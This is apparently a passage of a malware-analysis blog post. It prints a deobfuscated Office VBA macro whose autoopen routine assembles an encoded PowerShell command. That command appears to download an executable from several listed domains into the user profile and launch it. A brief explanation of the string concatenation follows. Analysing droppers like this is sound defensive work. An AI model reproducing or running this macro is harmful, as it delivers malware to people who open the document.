	SomS25ZG = ABaAF  MAPQ  AoACc  AaAAn  ACs  AJwB0A  HQAJw  ArACcA
	GNc88i = cAA6A  C8AJwA  rACcAL  wBk  ACcAKw  AnA
	UOiYERH = QX0ipWjQ  qYGMCi2F  ZzzVfP  zVCl3I58  fcsnuE  cNsVZwis  SomS25ZG  GNc88i

	UOiYERH = wershell-e JABIAEwAMwAzAFIAQwBSADAAPQAoACcASwB2ACcAKwAnAGQATAAnACsAJwB1AHAAcgAnACkAOwAkAEoARwBUADkAaQBZAE8AYgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABQAGYAdwBIAGMAWABaAFMAPQAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8AJwArACcALwBkACcAKwAnA

End Function

Function B8waSCi()
	On Error Resume Next
	mm44hw = GEA  JwA  rAC  cAZA  BhACcA  KwA
	o8NUEiH = nAG  YAYQBy  AGkAb  gBnAG8  AcwA  nACsAJ
	jzYz573 = wB0A  GEAcgA  nACs  AJwAuA  CcAKw  AnAG  MAJwAr  ACcAb
	J6EaO6 = wBtAC8  AJw  ArA  CcAcgB  0AF  EAdwBU
	woo96Zz6 = ACcAK  wAnADU  AJw  ArACcA  NQB6  AEAA
	zpfFBH = JwAr  ACcA  aAB0AH  QAcA  AnACs  AJwA6  AC8ALw  AnACsA
	bOIDQsaj = JwBm  AGkAJ  wArAC  cAbABl  ACc  AKw
	J8cCvsJ = AnAC4  AbABhA  HUAYQ  BzAGk  Abg  BoAC4  AYwB  vAG0
	B8waSCi = mm44hw + o8NUEiH + jzYz573 + J6EaO6 + woo96Zz6 + zpfFBH + bOIDQsaj + J8cCvsJ

	B8waSCi = GEAJwArACcAZABhACcAKwAnAGYAYQByAGkAbgBnAG8AcwAnACsAJwB0AGEAcgAnACsAJwAuACcAKwAnAGMAJwArACcAbwBtAC8AJwArACcAcgB0AFEAdwBUACcAKwAnADUAJwArACcANQB6AEAAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBmAGkAJwArACcAbABlACcAKwAnAC4AbABhAHUAYQBzAGkAbgBoAC4AYwBvAG0

End Function

Function BIBrlzL()
	On Error Resume Next
	LvY3XP = AJw  ArA  CcA  LwAn  ACs  AJw
	Dcvnnls = BQAC  cAK  wAnAF  gAZQBo  AEwA  JwA  rACcA  UAAnAC
	Bkabza = sAJwBQ  AGw  AQA  AnACsA  JwBo  AHQAdA
	wbqHZhV = AnA  CsA  JwBw  ACcA  KwAnA  DoAJwA  rAC  cALwAv  AGEA
	nDv43V = JwArA  CcAbgA  nACsAJ  wBn  AGkAcg  BhAH
	rWLso0 = MALgAn  ACsA  JwBv  AHIAJ  wArAC  cAZw  AvAH
	jiC3ZwNt = gAJwAr  ACcAOA  BCAC  cAK  wAnAG  oAYQB  NAC  cAKwA
	NpY8wL9 = nADQ  AJw  ArA  CcAN  AAnA  CsAJwA
	Shl9iw = 0AEkA  QABoAH  QAdAA  nACs  AJw  BwACc + AKwAnA
	zhGozS = DoA + LwA + vAGEA + ZABzAH + UAaQB + kAGU
	BIBrlzL = LvY3XP + Dcvnnls + Bkabza + wbqHZhV + nDv43V + rWLso0 + jiC3ZwNt + NpY8wL9 + Shl9iw + zhGozS

	BIBrlzL = AJwArACcALwAnACsAJwBQACcAKwAnAFgAZQBoAEwAJwArACcAUAAnACsAJwBQAGwAQAAnACsAJwBoAHQAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvAGEAJwArACcAbgAnACsAJwBnAGkAcgBhAHMALgAnACsAJwBvAHIAJwArACcAZwAvAHgAJwArACcAOABCACcAKwAnAGoAYQBNACcAKwAnADQAJwArACcANAAnACsAJwA0AEkAQABoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGEAZABzAHUAaQBkAGU

End Function

Function wBuzmLiw()
	On Error Resume Next
	qc2z0SEi = ALgBjA  GwAJwA  rACcAd  QBiA  C8AeQ  AnACs  AJwA3A  CcA
	Oujhvq7b = KwAnA  DcAUQB  UAEsA  aABW  AEAAa
	QV7zAXF = AAnAC  sAJwB0  AHQ  AcAAn  ACsAJw  A6AC8
	BzjlMR1F = ALwBt  AGkAY  wBoA  GEAZQ  BsAHc  Acg
	OQKf7zP = BpAG4  AZwBs  ACcAK  wAnAGU  AJwArA  CcAcgA  uAG  MAbwAn
	ds84PI = ACs  AJw  BtAC8A  SQBSA  FkAWQ
	bZjAXG = AnAC  sAJwBx  AFAAY  gA1AC  cAKwAn  AE4AJw  ApA  C4AUwB
	lsk59K2 = wAGwA  aQB  0ACgAJ  wBA  ACcA  KQA7AC  QAa  QAw
	MzvEWt = ADUANQ  BhAG  wATw  BQAD  0AK
	CSfGq3 = AAn  AHQAcA  BZA  EUAM  gBvACc  AKw
	sXIO3j = AnAG  0AMQ  AnAC  kAOwA  kAE
	wBuzmLiw = qc2z0SEi + Oujhvq7b + QV7zAXF + BzjlMR1F + OQKf7zP + ds84PI + bZjAXG + lsk59K2 + MzvEWt + CSfGq3 + sXIO3j

	wBuzmLiw = ALgBjAGwAJwArACcAdQBiAC8AeQAnACsAJwA3ACcAKwAnADcAUQBUAEsAaABWAEAAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBtAGkAYwBoAGEAZQBsAHcAcgBpAG4AZwBsACcAKwAnAGUAJwArACcAcgAuAGMAbwAnACsAJwBtAC8ASQBSAFkAWQAnACsAJwBxAFAAYgA1ACcAKwAnAE4AJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAaQAwADUANQBhAGwATwBQAD0AKAAnAHQAcABZAEUAMgBvACcAKwAnAG0AMQAnACkAOwAkAE

End Function

Function Mnv94H()
	On Error Resume Next
	n8DNvz = kARQB  wAEgAa  gBqA  CAAPQA  gACgAJ  wA2ADU  AJwAr  ACcAN  AAnAC
	uAwdTGD5 = kAOw  AkA  G0AVQ  B1AFc  AZABG
	LOw02E5 = AD0A  KAAnAF  IAM  ABhAHE  AJwA  rACcAM  QBsAD  AAJw  ArACc
	UaU4Jz1 = ATwA  nACkAO  wAkA  GQA  RwB  CAFQAb
	mLUvTz7 = AA0AHE  APQAk  AGU  AbgB  2ADoAd
	nJIQQcw = QBzAG  UAcgB  wAHI  Abw  BmA  GkA
	mnhC8GqR = bABlAC  sAJwB  cACcAK  wAkAEk  ARQBwA  EgAa  gBqAC  sAKAAn
	WCrXbI = AC4A  ZQA  nACs  AJwB4  AGU  AJwAp  ADsAZ  gBvA  HIAZ
	Mnv94H = n8DNvz + uAwdTGD5 + LOw02E5 + UaU4Jz1 + mLUvTz7 + nJIQQcw + mnhC8GqR + WCrXbI

	Mnv94H = kARQBwAEgAagBqACAAPQAgACgAJwA2ADUAJwArACcANAAnACkAOwAkAG0AVQB1AFcAZABGAD0AKAAnAFIAMABhAHEAJwArACcAMQBsADAAJwArACcATwAnACkAOwAkAGQARwBCAFQAbAA0AHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEkARQBwAEgAagBqACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZ

End Function

Function Qd66bAu()
	On Error Resume Next
	l7cRfN7 = QBh  AGM  AaAAo  ACQATQ  A4AF  UAMQB6
	tuOdbcb = AHcAI  ABpAG  4AIAAk  AFA  AZgB3  AEgAYw  BYAFoA  UwApA  HsAdAB
	pouJSzs = yAHkA  ewAk  AEoARw  BUADkA  aQBZ  AE8AY
	RwmuL9zj = gAuA  EQAbw  B3AG4  AbA  BvAGEA  ZABGA  GkAbA
	d1E4tZ = BlACgA  JAB  NADgAV  QAxA  HoAd  wAsA  CAAJ
	zPOMJu0d = ABk  AEcAQ  gBU  AGwA  NABxA  CkA  OwAk  AE8  ARA
	SfBGzL = B6AEQA  SwA5AD  MAPQA  oACcA  ZgAn  ACs  AJwBqA
	JnMhEm06 = EgAegB  EAGwA  cAAnAC  sAJwA  1ACcA
	WuLoWdq = KQA7A  EkAZgA  gACgA  KABHA  GUA  dAA  tAEkA  dABlA  G0AI
	d6H2AFR = AAkA  GQARw  BCAF  QAb  AA0AHE  AKQAuA  GwA
	Qd66bAu = l7cRfN7 + tuOdbcb + pouJSzs + RwmuL9zj + d1E4tZ + zPOMJu0d + SfBGzL + JnMhEm06 + WuLoWdq + d6H2AFR

	Qd66bAu = QBhAGMAaAAoACQATQA4AFUAMQB6AHcAIABpAG4AIAAkAFAAZgB3AEgAYwBYAFoAUwApAHsAdAByAHkAewAkAEoARwBUADkAaQBZAE8AYgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABNADgAVQAxAHoAdwAsACAAJABkAEcAQgBUAGwANABxACkAOwAkAE8ARAB6AEQASwA5ADMAPQAoACcAZgAnACsAJwBqAEgAegBEAGwAcAAnACsAJwA1ACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGQARwBCAFQAbAA0AHEAKQAuAGwA

End Function

Function misB743q()
	On Error Resume Next
	ADNMmcl = ZQBuA  GcA  dABo  ACAA  LQBn  AGUA  IAA0AD  AAMA  AwA
	dUWofu = DAA  KQA  gAHsAS  QBuA  HYA
	sEdLvJE = bwBrAG  UALQB  JAHQA  ZQBtAC  AAJA  BkAEc
	d5wpXhz = AQgBU  AGwAN  ABxA  DsAJAB  jADcA  agBp  AFEAMw  A9ACg
	W1qwKF = AJwB  3AG  kAJw  ArACc  AZA  AyAFo  AVw  BZAC  cAKQ
	misB743q = ADNMmcl + dUWofu + sEdLvJE + d5wpXhz + W1qwKF

	misB743q = ZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAEcAQgBUAGwANABxADsAJABjADcAagBpAFEAMwA9ACgAJwB3AGkAJwArACcAZAAyAFoAVwBZACcAKQ

End Function

Function SvYi5Y()
	On Error Resume Next
	B6II8P = A7AG  IAc  gBl  AGE  AawA  7AH0  AfQ
	FckbN7Qj = BjA  GEAdA  BjA  GgAe  wB9AH  0AJ  ABPAHE  ASwB
	pDT9WTn = 3AGQ  AcAA  9ACgA  JwBYAE  4ASwA  nACsA  JwBYA
	EIEU9Tz = EUA  SwAnA  CkAO  wA=
	SvYi5Y = B6II8P + FckbN7Qj + pDT9WTn + EIEU9Tz

	SvYi5Y = A7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHEASwB3AGQAcAA9ACgAJwBYAE4ASwAnACsAJwBYAEUASwAnACkAOwA=

End Function


Sub autoopen()
	On Error Resume Next
	pjs7kH = Chr(80)
	GGS8A1j = Chr(79)
	DsiufjK pjs7kH + GGS8A1j + UOiYERH + B8waSCi + BIBrlzL + wBuzmLiw + Mnv94H + Qd66bAu + misB743q + SvYi5Y, 0
End Sub

From here, it is pretty simple to understand and to see. Basically all the strings/variables get concatenated together to form the encoded base64 string. What I found interesting though was in the autoopen function and the fact that it was using “KeyCodeConstants” (ie: KeyCodeConstants.vbKeyP) to help build the script. This is something that I have not seen before in a script. For more information about this, see this page: https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/keycode-constants. In those two lines, it looks like it is taking the “CHR” value (P and O respectively), converting that over to ASCII, which then gets represented as a letter. The last line is the one that puts everything together and spells out “POwershell – e” via the shell function.

Leave a Reply

Your email address will not be published. Required fields are marked *